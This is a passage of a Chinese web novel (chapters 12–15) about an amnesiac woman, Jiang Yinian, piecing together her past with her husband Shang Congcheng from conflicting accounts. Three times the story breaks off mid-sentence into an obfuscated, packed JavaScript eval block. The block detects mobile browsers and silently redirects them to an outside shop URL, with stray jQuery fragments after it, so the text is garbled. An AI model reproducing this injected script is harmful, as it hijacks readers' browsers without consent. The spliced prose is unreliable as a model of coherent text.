“咳咳……确实不记得了。”姜宜年拍了怕她的胳膊,道:“咱们坐下慢慢说话。” 姜宜年透露给莫邈的信息颗粒度跟给其他几房的是对齐的。 除了他们院子里的这几个人,得知姜宜年失忆的人都会认为她只记得自己的夫郎了。 莫邈听完,大惊失色,瞠目结舌。 姜宜年说大概知道她是谁,过来前有人告诉她了。 说完又问她:“你是怎么知道我醒过来的事情的?” “你昏迷了一年,整个嵘城哪家不知道?你的夫郎商氏不顾男子身份,成了姜家的家主,在嵘城更是许多人指摘,于是总有闲人每日都盯着你家,想看看还有没有什么离奇的事情发生,故而消息传得快。” 姜宜年轻笑一声,“看来是家里的人传出去的。” 莫邈叹了口气,“即使什么都不记得,宜年还是跟以前一样聪慧。” 家里的人,可能是仆人,也可能是家人。姜宜年想,很难说。 不过回想起刚才商琮琤的态度,他似乎对眼前的这个莫邈不太待见。 姜宜年以为莫邈会是一个行为不端的人,目前看下来,还算正常,那么商琮琤为什么不喜欢她呢? 还是说自己理所当然想错了吗?其实商琮琤说她们关系一般,只是真的一般,没有别的意思? 姜宜年眨了下眼睛,问道:“你我以前,来往很多吗?” 莫邈点头,“姜家和莫家是世交呀,伯父还在时,我常常到你家来蹭饭。” 说完,她又叹了一声,“伯父亲自下厨,做出来的菜道道是美味,只可惜宜年你如今不记得了。” 姜宜年不晓得是不是自己的错觉使然,莫邈说这话时传递出来的情绪应当是失落低迷的,但她感觉不到多少。 莫邈像是说了假话,亦或事情是真的,但莫邈本身内心没多动容,无法成功传递给她。 姜宜年跟着她演,标准叹气,听起来甚是愁苦。 她轻声道:“只是暂时不记得了而已,父亲不会怪我的,总有一日我还能想得起来。” “宜年说的是。”莫邈笑着说完,姜宜年问道:“你方才说我夫郎被人指摘?我昏迷之际,他日子很难过吗?” “啊,是,想想也知道,一个男子想当家主,会有多少人反对,会被多少人嘲笑。”莫邈话锋一转,道:“不过商氏也算是苦尽甘来了,如今你醒了,他所受过的那些苦都是值得的。” 姜宜年原想说什么,但她发现莫邈眼珠一转,心事似有所变,就没开口。 果然,莫邈开了口,还是在说商琮琤—— “诚然,商氏这一年来确实很对得起你,我看他是转了性子,眼下是真喜欢你了,往事你就当忘了吧。”莫邈说完,愣了一下,笑了一声,“抱歉,你还真忘了……那什么,我总觉得宜年你现在与之前没什么变化。” 莫邈不等姜宜年说话,直接转移了话题,“你躺了一年,当日遭此横祸,我多担心你就算醒了,也会和以前有什么不一样的地方,真是万幸,你还是你,好好地坐在我面前。” 可说呢…… 姜宜年听出了莫邈想让她问的话,干脆满足她。 “什么往事?”姜宜年也确实想知道顺着问下去的话,莫邈会说出什么话来。 “……” 莫邈神色犹豫,想了想手掌覆在姜宜年的手背上,跟她说:“那些不开心的事就不要想起来了吧,我看到你和夫郎现在关系甚笃,还是很为你高兴的。” 姜宜年挑了挑眉,把自己的手抽了出来,“话都说到这儿了,含含糊糊,可不地道。” 莫邈偏过脑袋,一直皱着眉,“我是真的不想让你想起来,不过……”她转过脸来看向姜宜年:“无论如何,我都跟当初一样,一直认为其实是商氏配不上你。” 姜宜年:“……” 看来不是商琮琤单方面不喜欢莫邈,莫邈……都不能说是不喜欢,她应该可以说是讨厌商琮琤了。 在姜宜年的“追问”下,莫邈说起了以前。 莫邈说,当时最开始是姜宜年对商琮琤情根深种,她说根本不明白为什么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697249|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了那么几面,商琮琤能把她迷成那个神魂颠倒的鬼模样。 说姜宜年是色字头上一把刀,是被商琮琤的那张脸迷惑了。 莫邈又说,他们相遇之后,姜宜年对商琮琤大献殷勤,但商琮琤一直态度冷漠,甚至说过许多不好听的话。 姜宜年下意识开口问她:“是你亲耳听到的?” “是我亲耳听到……你跟我大吐苦水时说的啊。” 姜宜年:“……” 虽然不确定莫邈说的是真是假,但姜宜年对原主是怎么跟商琮琤走到成亲这一步的,非常好奇,很想听。 姜宜年笑笑,问莫邈:“然后呢?既然他对我无意,如今怎么成了我的夫郎?” 莫邈说那时商家已经家道中落,商家家主也就是商琮琤的母亲试着劝诫过他,得知他有意中人,担心得罪姜家,于是想把商琮琤的弟弟嫁给姜宜年。 婚事还没彻底定下来之前,商琮琤的意中人犯错被下了狱,是姜宜年出手把她救出来的。 为了防止后患无穷,姜宜年还送了盘缠将其送走。 在那之后,商琮琤没了倚靠,似乎也明白了意中人不可能迎娶自己,突然就同意了跟姜宜年的婚事。 莫邈说:“总得来说,这桩婚事最后还算是他抢了自己阿弟才成了的。我一直担心他对你不好,但现在看到你们这样,终于能放心了。” 商琮琤还有弟弟? 姜宜年没听他说起过…… 不过是正常的,她才醒了多久,商琮琤跟她说的大部分都跟姜家有关,从来不聊自己真正的那些家人。 姜宜年听完,一直沉默着。 莫邈一开始引入这个话题的时候有些夸张,姜宜年还以为她接下来要说的话都是信口胡诌。 但想想看,这些内容如果是假的,就太容易被拆穿了。 如果姜宜年沉不住气去问商琮琤本人了呢?她不一下子就被揭穿了? 说得像真的一样,会是真的吗? 姜宜年突然回想起商琮琤说过的那句——“年岁合适,性情相宜,所以就成婚了。” 莫邈说的……就算不全是真的,应该也不全是假的。 只是要怎么去验证真假呢? 如果连商琮琤都不能完全信任,姜宜年就真的孤立无援了。 “不过……宜年,商氏有没有跟你说想生个女儿?” 姜宜年看了她一会儿,轻轻摇头。 “我只是提醒你一句,如果商氏求你,先不要急着跟他……总之,你就听我的,准没错。” 姜宜年问她:“还有什么?” 莫邈似乎在经历心理斗争,最终还是开口,给了她答案。 “我只是听说,商氏这一年中,换了姜家生意中的许多经手人,我担心你,现在你这种情况,如果真的让他生了个女儿,岂不是随他拿捏。而且,当初他那位意中人若是突然回来,两人再续前缘,带着你的女儿……我都不敢想。” 莫邈顿了顿,在姜宜年手背上拍了两下,跟她说:“你想想看,是不是这个理?” 13. 第13章 莫邈走了以后,姜宜年回想了一下初见时商琮琤的模样。 ……原来他们是先婚后爱啊。 姜宜年有些为原主惋惜,不说当初,现在的商琮琤起码看起来是真的喜欢上她了,可原主却不在了。 “妻主。” 姜宜年回头,商琮琤正站在门口看着她,手上端着托盘,一只白瓷小碗,不知道里面装着什么东西。 “怎么了?” 商琮琤抬脚进来,“刚炖好的甜汤,妻主以前最喜欢喝了,尝尝看?” 姜宜年轻轻点了下头,商琮琤自然而然走到她身边,将那只小碗放在她面前,闲聊一般问道:“妻主和莫娘子聊了些什么?” “以前的事。” 姜宜年执起勺子尝了一口,暗道原主的口味跟她挺像,这味道她也喜欢,连着又喝了两口,才接着补充道:“她是那么说的,反正我是什么都不记得了。” 商琮琤没说话,姜宜年看了他一眼,对方立刻唇角微微上扬。 “以前的……什么事?” 姜宜年不确定是不是错觉,似乎真的从商琮琤的语气中听出了一些些紧张和忐忑。 “她说……”姜宜年顿了顿,没从商琮琤的眼神中看出什么,“……从前我父亲还在时,她经常来我家蹭饭。” “听说是这样。”商琮琤轻声道。 “听说?你不知道?”姜宜年表现出了惊讶的样子。 “那是妻主与我成婚之前发生的事,我确实只听说了一些,没有亲眼见到过。” 姜宜年“哦”了一声,“我成亲之后就跟她没什么来往了吗?” “差不多是这样。” 姜宜年微微偏头盯着商琮琤瞧,问他:“为什么?” “这……”商琮琤垂下眼睫,呼吸顿了一下,道:“我与莫娘子并不相熟,妻主与她之间的事,我也不是很清楚,等妻主恢复记忆,不用我猜,自己也就想起来了。” 姜宜年静默地看着商琮琤,看了好一会儿,他才抬起头来。 眼神澄澈,看起来格外无辜。 姜宜年换了别的话题,商琮琤跟着闲聊,一来一回,有来有回。 一碗甜汤下肚,姜宜年突然猝不及防地问商琮琤:“你有个弟弟啊?” 她装作不经意间看着对方的眼睛,非常确定商琮琤的瞳孔骤然紧缩了一瞬,这个“弟弟”像是他的禁忌,不能提似的。 不过商琮琤毕竟在这一年里代任姜家家主,情绪很快被他藏了起来。 “是。”商琮琤反客为主,问姜宜年:“莫娘子还跟妻主说起了我的弟弟?” “嗯。”姜宜年点头,依然看着他的眼睛,道:“她说原本要跟我成婚的人是你弟弟。” 商琮琤似乎有预感会听到这句话,表情比先前镇定了许多,没有露出什么破绽来。 “其实……也不能这么说。” “什么意思?” 商琮琤嘴唇有些发白,道:“妻主原本说喜欢我的,后来被我阿弟缠上,母亲很想和姜家搭上亲家,比起我,阿弟更善言辞、知进退,母亲认为他比我更能胜任姜家主君的位置,所以便想让妻主娶了他,不过妻主对我一片真心,没有被母亲的想法左右,也没有理会阿弟献出的殷勤,毅然决然地选择了我。” 姜宜年听完,感觉商琮琤在家里估计过得也不怎么样,似乎是年纪小的弟弟更受宠。 “听你这么说,我跟你阿弟没有婚约?” “自然没有。”商琮琤的声音蓦地大了一些,说完像是被自己吓了一跳,懊恼地眨了眨眼,微微蹙眉,放轻声音道:“莫娘子说妻主跟我阿弟有婚约吗?” 纵然声音比之前轻了些,不过语气却是强硬的。 姜宜年回想了一下—— “……那倒没有。” 这个还真没有。 莫邈只是说商琮琤最终抢了自己弟弟的这门婚事,没有说他们已经到了定下婚约的那一步。 不过,商琮琤的神色并没有因此好转,脸色依然阴沉。 “虽然妻主眼下什么都不记得了,但经过跟莫娘子的这一番商谈,想来也看明白了,这人心怀鬼胎,是想破坏你我之间的感情,妻主以后,还是少跟她来往为好。” 既然商琮琤就在眼前,当然是先哄好眼前的人比较重要。 “听她说话,似乎是一半真一半假,我现在什么都不记得,还真不知道该怎么确切分辨。” 姜宜年说:“你跟我说的太少了,太多事情轻轻揭过,我什么也想不起来。” 商琮琤问她:“难道听莫邈胡说八道了这么久,妻主就没发现此人人品有问题吗?” 姜宜年实话实说:“有一点。” 商琮琤把主要矛盾全都转移到了莫邈身上。 然而,姜宜年的重点是他总不愿意多说,所以自己无从分辨真假,但商琮琤也不知道是没听出来还是刻意回避,没有直面这一点。 姜宜年禁不住猜测,莫邈或许是有别的目的,可能也确实人品有问题,但商琮琤这头,还真有不想让她知道的事情,或者说,不能让她知道的事情。 两人纷纷沉默下来,各自怀有心事。 蓦地眼神对上,商琮琤神情软化了不少,问姜宜年:“她还说了什么?” 姜宜年挑眉反问:“具体指的是?” 商琮琤迟疑了一下,知道今日让莫邈进门恐怕是错的,姜宜年恐怕还是对他产生了一些防备心。 可若是执意把莫邈挡在门外,也是无用之功,她总还有别的办法见到姜宜年,打扰他们的生活。 商琮琤如此一想,心有些乱,话语间越小心越容易出错—— “她可向妻主提起了什么人吗?” 虽然语气保持着镇定,但这句话一出口,商琮琤就后悔了,尤其在看到姜宜年微微睁大的眼睛时,悔上加悔。 事已至此,藏着掖着已无意义。 商琮琤定了定神,问道:“她向妻主提起了什么人?” 姜宜年眨了下眼,轻轻笑了笑,“没有,她只说起了一些往事。” 商琮琤皱眉,脱口而出:“妻主……” “说了这么久的话,我有点儿累了,想休息一下。” 商琮琤恍然一瞬,略显失落,但还是点了点头。 跟她回房的时候,商琮琤还关切地问她除了觉得累了还有没有哪里不舒服。 姜宜年想着,商琮琤如果这是装出来的,演技算得上是登峰造极了。 另一个角度来说,他不像是装的,确实像是真情流露。 姜宜年开始反思自己的行为,刚才是不是不应该转移话题,应该直接摊开了跟他讲? 在那个瞬间,姜宜年对周围这一切的陌生人、陌生事、陌生环境产生了自然而然的防备,那个时候她被各方面影响,对之前给予商琮琤的高度信任执行了撤回,就那么一小下下的犹豫,大脑的条件反射就是装傻。 那个时间过去了,有了更多的思考时间,姜宜年想到,按照莫邈的说法,商琮琤大概率会做出请求跟她生个女儿,然后以女儿的名义掠夺所有姜家财产,跟自己原先的意中人双宿双栖的这种混账事。 凭她醒过来之后对商琮琤的了解,应该不至于。 如果商琮琤存了这种心思,会有很多种方法合理达到他想要的结果,何苦守她一年。 随便跟谁怀个孩子,说是姜家家主的遗腹女又能有谁跳出来说个不字呢? 莫邈说的话,应该只能听一部分,大概商琮琤以前对原主确实是爱答不理,心里有其他人,但这并不妨碍他后来是真爱上了。 姜宜年更相信商琮琤是个不错的好人,他在这一年时间里,顶着各方面巨大的压力,把姜家治理得井井有条…… 如果是装的,能装一年也是个高手。 姜宜年更希望他能一直装下去,她身边确实需要这么一个得力帮手。 当然,比起商琮琤心怀鬼胎,姜宜年更希望他对原主是真心实意。 姜宜年躺下前,见商琮琤没有要走的意思,想了想还是什么都没说。 商琮琤坐在一边看着她躺下,伸手帮她掖了下被角,欲言又止,“妻主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697250|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “放心,我不是听风就是雨的人。” 商琮琤嘴唇微动,像是轻轻叹了口气,姜宜年还以为他会说什么话。 “是人就有不想面对的事,我明白,如果一些事情,你认为是不想让我知道,或是认为我没有必要知道的,我也接受。” 商琮琤咬了下嘴唇,“妻主说的是真心话?” “是真心话。” 姜宜年闭上眼睛,“好了,我真的想睡一会儿,你忙自己的去吧。” 床上留有商琮琤身上的淡雅香气,姜宜年的衣服上也是这种味道,她闻着这清淡的香味,很快有了睡意。 不确定商琮琤是什么时候走的。 姜宜年只知道在自己下了逐客令之后,商琮琤并没有立刻离开。 事实上她的感觉是对的,看着姜宜年陷入沉睡,呼吸均匀,睫毛不再轻轻颤动,这样维持了一段时间后,商琮琤才猛然回神。 他小心翼翼起身离开。 轻轻合上门后,吉枣凑了过来,小声道:“娘子和莫邈说话时只有她们两个,没有留人,故而没人知道她们聊了什么,但我打听到,中途有那么一会儿,不知道莫邈说了什么,娘子的表情变了,似乎非常惊讶。” 商琮琤看向吉枣,“确定没有人听到她们聊了什么?” 吉枣摇头,“是莫邈一开始让所有人出去的,娘子没有阻拦。郎君吩咐过,娘子谨慎,心思活络,怕让娘子误会,就没有特意嘱咐留人。” “你知道我想问什么。” 吉枣低下头,声音更小了,“她们……应该没有提到那个人。” “你怎么知道?” “郎君想啊,若是娘子知道了那人的存在,还能就这么让莫邈没事人一样回去吗?必然想要跟他见一面的吧?这还不是得由莫邈安排?娘子眼下什么都没问,什么都没说,似乎也没有什么打算,郎君或许该宽宽心。” 商琮琤深吸一口气,眼神凌厉,和面对郭氏时那副做小伏低的样子判若两人。 “莫邈和她那个弟弟就是个祸害。” “是。”吉枣附和完,又劝解道:“不过娘子现在和郎君在一处,他们就算想来见娘子,也得过府门这一关不是?我们盯紧点就是了,最多也就像今日一样,若是莫邈带人过来,一定让她进不了门。” 商琮琤低着头,眨了眨眼,沉默了一会儿,重新开口道:“今日做的甜汤妻主还是很喜欢,晚膳再备一份。” 吉枣笑着点头:“好。” 姜宜年睡到下午才醒,时间过得飞快,一眨眼天又要黑了。 商琮琤原本在院子里忙碌,听到柯玉说姜宜年醒了,马上进门,问她睡得怎么样。 姜宜年揉着眼睛说还好,商琮琤问她晚膳想吃什么。 她想了想,天气冷了,就说想吃饺子,羊肉馅的,商琮琤愣了一下,微微一笑,说知道了,这就让厨房准备。 姜宜年看到他愣神,知道问她想吃什么这可能就是个礼貌问题,菜单应该是提前准备好了,她这么突然一改,又得麻烦。 “没事,明天吃也是一样,今天原本准备什么就吃什么,一样的。” “妻主误会了,不费什么事,我只是让厨房提前备好了甜汤,还没有决定好晚上吃什么呢。” 既然他这么说,姜宜年也不想反反复复跟他掰扯,便由着他安排了。 姜宜年穿鞋出去,才发现先前商琮琤是在院子里看账本。 “你怎么不在书房里看?” “妻主醒了,那是只有妻主能用的房间,我本想在卧房看,不过担心翻书的声音会吵到妻主,所以挪到了外面。” 姜宜年:“……” 她说:“你能别什么事情都这么小心翼翼的吗?” 商琮琤看着她眨眼,姜宜年说:“你看我对其他几房长辈的态度就应该知道,我不会介意这些小细节,你这样活着不累吗?” 可能最后一句话太重,商琮琤先是一怔,然后突然眼圈就红了。 姜宜年吓了一跳。 他他他不会要哭吧? 14. 第14章 “你你……你怎么了?” 还好商琮琤只是红了眼,并没有真的哭出来。 商琮琤抹了下眼角,道:“许久没听到妻主跟我说这种话了,一时有些感慨,吓到妻主了。” …… 没多久,柯锦回来,被姜宜年叫到书房问话,名曰叙旧。 “我与郎君是如何认识的?” 原主昏迷的这一年时间中,商琮琤的人格魅力征服了这个院子的所有人,包括柯锦。 但姜宜年认为,毕竟是从小一起长大的情分,柯锦不至于因为觉得商琮琤为人不错,就完全站在他那边去了。 再说,如柯玉所说,凭柯锦跟原主的关系,原主和商琮琤之间发生的事,除了他们本人,柯锦和吉枣大概是最清楚的人了。 吉枣自不必多说,一整个商琮琤的人,问都不必问。 柯锦说,“她”跟商琮琤相识于一场诗会上,说是诗会,不过是方便年龄合适的女女男男彼此相看。 “她”原本是不想去的,不过前任家主认为女儿到了成婚的年纪,平时没见她跟哪个小公子目送秋波,这是个好机会。 她想着,倘若姜宜年能遇到一个心仪的,往最坏的方面想,哪怕不能一眼相看到合适的正君人选,先娶回来一个也没什么不好的。 当然如果能一下子遇到合适的正君人选就更好了,若是先娶了侧夫,生孩子还要再三思虑才行…… 不过这些考虑从现在的结果来看,都是多余的。 姜宜年在那场诗会上遇到了商琮琤,对其一见钟情。 “我对他一见钟情?” 这倒是意料之中,不过柯锦讲述得眉飞色舞,姜宜年内心也有一点被触动到。 她挑了下眉,问道:“那他对我呢?” 就这五个字,让柯锦的情绪极速回落,她常常在外面做事,面对着那么多形形色色的人,早就学会了何为圆滑,何为世故,但即便如此,还是没能及时掩盖住这短暂的迟疑犹豫。 姜宜年装作什么都没看出来,低头饮了口茶。 柯锦就在这个时候转换好了情绪,笑着开口道:“虽说当时的商氏一族已经大不如前,不过再怎么说郎君都是世家公子,自小家教甚严,形成了他内敛的性格,哪怕心中跟娘子所想一样,也不会如娘子一般表现出来。” 姜宜年没说话,柯锦继续道:“这并非是郎君对娘子无意,而是男子同女子的差别。” 虽然话说得挺好听,不过姜宜年当然不会听不出来这番言论背后意味着什么。 她对柯锦笑笑。 无非是女有情,男无意,强扭的瓜而已。 至少莫邈说的这部分是真的。 至于现在商琮琤对“她”到底是个什么想法,估计只有他自己知道了。 “那我们是如何成亲的呢?” 柯锦眨了眨眼,还是一样迟疑了一下,被姜宜年不动声色捕捉到了。 她看着柯锦轻笑了一下,刻意佯装随意开口:“娘子这个问题有些奇怪,成亲前自然都是要下聘纳彩的呀,两家长辈也都同意,便成就了这桩好事。” 姜宜年沉默着。 如果商琮琤没有那个“意中人”“白月光”,原主原本的定亲对象就是商琮琤而不是他弟弟,柯锦刚才不应该迟疑。 迟疑了,却隐瞒了这部分…… 姜宜年不知道柯锦此举是因为也已经完完全全成为了站在商琮琤那头的人,还是想着姜宜年如今已经失忆,不想让她回想起这段不愉快的往事,所以只留下了听起来还不错的部分,毕竟现在这个版本结合起来也挺顺理成章的。 三个人,几乎三种说法。 莫邈的版本比较详细,可是偏向性很重。 商琮琤跟柯锦都隐瞒了一部分,姜宜年觉得,如果自己不是主动提起他弟弟,或许商琮琤跟柯锦一样根本不会提到这个人。 原主是否跟商琮琤的弟弟走到了定亲的那一步暂且存疑,但二人之间必然有联系。 姜宜年择来择去,简略整合了一下所有已知信息,得出了一些结论。 从她本人的角度来想,姜宜年倒是宁愿商琮琤有那么一个念念不忘的意中人,若是那人有朝一日能回来找他,她也好成其好事,顺水推舟跟商琮琤和离,给他自由。 银子什么的都是身外之物。 如果商琮琤现在一心喜欢的只是原主,反倒让姜宜年觉得难办。 “妻主跟柯锦聊了些什么?险些误了用晚膳。” 商琮琤拿着一个晶莹剔透的小碗给姜宜年盛了碗甜汤,稳稳当当放在她面前,轻声发问。 “唔,还不就是一些以前的事,我想快点想起来。” 姜宜年夹了一个饺子,仔细咀嚼着吞咽下去,重新开口:“也想快点熟悉家里的生意,这样你就不用那么辛苦了。” 如果商琮琤乐于此道,姜宜年也愿意由着他放手去做,但商琮琤虽然做得很好,但在他看来是形势所迫,被强行赶鸭子上架。 他不喜欢做生意,每每提到这儿,就想尽快把这个烫手山芋扔出去。 看起来是真的,姜宜年也愿意成全他。 男人打理后宅就好,他是这么想的,担着整个姜家的责任,似乎让他很痛苦,只不过为了让妻主放心,他不会直说。 “凡事都要循序渐进。”商琮琤淡笑着开口道:“妻主醒过来,现下身体健康,已十分不易,我很满足了。” 姜宜年执筷的手顿了顿,抬头看了商琮琤一眼。 只是一闪而过的念头,她还以为商琮琤也想继续做这个姜家家主呢。 商琮琤似乎意识到了什么,连忙开口解释:“我只是不想妻主辛苦。” 姜宜年没说话,商琮琤继续道:“柯锦往后每次同我见面,我都会通知妻主的,我本来不该如此频繁得知府外之事,就算妻主一开始听不懂也不要紧,就当帮帮我,好不好?” 商琮琤在这一年时间里,做了许多打破普罗大众对男子固有印象的的事。 例如,违逆长辈,代做家主,男子经商……一开始甚至还总是在外面抛头露面,无奈跟外女来往接触。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732665|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜宜年条件反射认为他是痛苦的,但又总是因为他做得很好,恍惚间疑惑他其实是不是也算乐在其中? 然而商琮琤每次都会否认,他说自己只想做个依靠妻主的普通男子,跟其他男子一样。 商琮琤是个轻而易举就能鹤立鸡群的人,但他似乎只想泯然与众人。 姜宜年想,自己对他的了解还是太少了,可能还需要彼此多相处一段时间。 人和人的碰撞就是时间问题,实在没什么捷径可走。 姜宜年看着商琮琤轻轻点头,“好。” 晚上躺在同一张床榻上,姜宜年瞪着眼睛睡不着。 先前她紧闭双眼默默在心里数羊,一点功效都没有。 从身边人的呼吸能听得出来,商琮琤也没睡着。 姜宜年觉得这何必呢,既然两个人睡在一起都觉得奇奇怪怪的,都睡不好,不如还是用失忆当借口,往这房间里再添一张床? 她刚这么想着,发现自己想错了。 似乎只有她一个人觉得眼下状况奇怪,或者说是不自在。 商琮琤的胳膊非常自然地闯过姜宜年的棉被,搭上她的腰际。 “妻主睡不着吗?” 姜宜年浑身僵硬,沉着声音“嗯”了一下,道:“晚上的饺子很好吃,我吃多了。” 商琮琤低笑出声,“妻主喜欢就好,是我的问题,没能及时劝阻,看着妻主吃得那么香,我就忘了。” 姜宜年不自在地撇了撇嘴,“我吃多了,跟你有什么关系,不要什么责任都揽在自己身上。” 商琮琤抬头看她,“我是妻主的郎君,自然有责任,妻夫本为一体,妻主又忘了?” 姜宜年偏头看了他一眼,商琮琤说到这种事情的时候表情和语气总是很认真。 只可惜,姜宜年蓦地想到了莫邈提到的那个人。 看起来,商琮琤至少现在是真心对待自己这个妻主的,但如果……极小概率,但也不是完全没可能—— 如果他只是虚与委蛇,被莫邈说中了,心里放在的还是另一个女人呢? 姜宜年倒不觉得多么生气,她毕竟不是原主,没付出什么真心,也不想为难商琮琤。 从她醒来知道的那些个信息中能得出结论,商琮琤这一年不好过,如果可以,姜宜年希望能跟他好聚好散。 可是这种事情,两人的身份放在这儿,如果摊开了讲,就是直接撕破脸了。 要怎么委婉地跟对方传递自己的所思所想呢? 这是一个问题。 “妻主近日似乎一直有心事?” 姜宜年转头看向商琮琤,听他开口道:“明明妻主人就在我身边,目光却好像永远不曾落在我身上。” 是发呆的次数太多了吗? 姜宜年抿了下唇,道:“脑子里一片空白,总是觉得恍惚……也惶恐。” 商琮琤胳膊略微收紧,道:“妻主信我,只信我的话,便无需惶恐,也不会恍惚。” 该不该信他呢?敢不敢?能不能? 姜宜年犹豫着。 15. 第15章 “妻主心不安,是因为不相信我。” 商琮琤温热的气息就在姜宜年颈边,她脖子有点儿痒,又不想这个时候抬手去抓。 不过姜宜年还是下意识躲了一下,身边人气息登时微微凝滞,下一刻,姜宜年觉察到腰间的力道松了。 明明商琮琤什么都没说,姜宜年却像是感受到了他在伤心。 虽然有些于心不忍,但还是实话实说—— “如果换成你是我,应该也会这样。” 商琮琤沉默了一会儿。 “妻主从前……很喜欢我的。” 姜宜年没说话,听得枕边一声叹息。 …… 七八天过去,姜宜年把原主的家境和人际往来了解了个七七八八。 值得关注的是,原主小时候一直是笨笨的。 这是极其委婉的说法,看柯锦柯玉姐妹俩的表情,或许用呆傻来形容更恰如其分一些。 没想到在遇到商琮琤的前一年,像突然开了心窍似的,整个人脱胎换骨,容光焕发,还变得很有上进心。 原本,唯一的女儿很难继承家业,偏后宅像被诅咒了一样就是生不出第二个女儿来,前任家主急坏了。 原主这一开窍,最开心的莫过于姜家前任家主和其正君,也就是原主的母亲和父亲。 “是吗?我经历了什么?”姜宜年非常好奇。 到底是经历了什么样的事,能突然把一个人从某个极端拉回到正轨上来。 “什么都没发生,就是睡了一觉,起来后,娘子就像变了个人似的。” 柯锦聊到此处,眼眶略微湿润,“家主当时开心极了,还有老爷,当时他们的模样,到了现在我还想得起来。” 本来她们似乎是不打算说起这一段历史的,是因为柯玉说漏了嘴,硬是被姜宜年问了出来。 柯锦不好意思地表示,姜宜年昏迷了足足一年,她一直提心吊胆,担心即便有朝一日姜宜年醒了过来,还是会变成小时候的样子。 她没说出口,但姜宜年看出来的是—— 如果事情真的发展成那样,商琮琤的日子只会比现在更难过。 姜宜年想,如果商琮琤是大奸大恶之徒,他这一年的生活不至于这么举步维艰。 好人原本就是会活得很难。 姜宜年转头看向一直一言未发的商琮琤,问他:“我那时候的样子,你见过没有?” “……” 商琮琤摇头,轻声道:“我嫁进来之后,便没怎么听说过妻主那时候发生的事情,母亲和父亲怜惜妻主幼时受了苦,也不准下人们多嘴。” 姜宜年轻笑一声,心说还好商琮琤没见过那个时期的原主。 他原本就没看上原主,如果见证过了对方的黑历史,怕是他们两个根本走不到现在。 午后闲聊时间到,商琮琤起身,说姜宜年该去午睡了。 姜宜年摇头,“你再给我讲讲账簿吧,明日,我想去街上转转,让柯锦带我去看看那些商户,再跟她们聊聊。” 商琮琤微微一怔,不赞成她这样做。 “妻主这段时间已经很努力了,出府的话,应该再休养一阵子再看。” 他说着,看了一眼旁边的人,柯锦、柯玉、吉枣统统低头默契地退了出去。 姜宜年眨了眨眼,道:“梁大夫每日都给我把脉,都说是正常的,你不是瞧见了?” “那也不行。”商琮琤态度坚决,“妻主这些日子连自己休息的时间都少了,生意上的事,妻主实在不必这么担心,至少还有我。” 姜宜年看向他,无奈笑了,“你怎么这么犟。” 她想,商琮琤和原主还好没有孩子,这么看下来,商琮琤说“不行”的样子,还真像一位严父。 商琮琤听到姜宜年这么说他,愣了一下,立刻变得不好意思起来,马上又转化为忧心忡忡。 他问姜宜年:“妻主是说我……妻主是……生气了吗?” 姜宜年笑笑,“生气……倒不至于。”她说:“不过该做什么,不该做什么,我心里有数,你也少操点心吧。” 商琮琤眉头微蹙,姜宜年说:“自从我醒过来,柯锦柯玉他们都像是松了口气,听说我睡着的时候,那个郭氏,还有李氏三天两头过来闹你?现在不是也没来过了么。日子总会越过越好的,你也松口气吧。” “妻主醒了,我自然喜不自胜。” 姜宜年笑了一声,“你表现出来的一切,可跟你所说并不相符啊。”她说:“我瞧着你脑子里一直绷着的那根弦始终没有松开过,商琮琤,你还在担心什么?” 她盯着商琮琤的眼睛看,但商琮琤几乎面无表情,眼神有些失落。 “妻主多虑了,我没有担心。”商琮琤默了默,又道:“我若是说了,妻主不要笑话我。” “嗯?” 商琮琤靠近姜宜年坐下,凝望着她,轻声开口道:“除了咱们院子里这几个,外面的有一个算一个,知道妻主醒了,都以为妻主只记得我一个人,无底线偏袒我,还为了我跟小爹们闹了矛盾,但我心里清楚,妻主根本不记得我,只是心善,想要帮我,我总是想,妻主若是真的只记得我就好了。” 姜宜年安安静静听完,眼睫微垂,轻轻笑了一声。 “你以前不是这个样子的,是吗?” 商琮琤脸色微变,“妻主怎么知道?”他皱眉,开口问道:“又是柯玉多嘴?还是柯锦?” “她们全都站在你那边,怎么会背地里说你的嘴。”姜宜年说:“你的气质跟行为结合起来看,偶尔会有一种割裂感,是我瞎猜的,猜错了也无妨。” 商琮琤紧抿着嘴唇,沉默片刻,开口道:“妻主说得没错,以前……以前妻主喜欢我的时候,我总是假意矜持,欲拒还迎,蒙妻主不弃,还愿意娶我,可惜成婚之后我也没有多大长进,后来……” 商琮琤长长叹了口气,轻声道:“后来妻主昏迷不醒,我才彻底悔悟,当时我就在心里对神明起誓,如果妻主能安然无恙地醒过来,让我做什么我都愿意。” 姜宜年 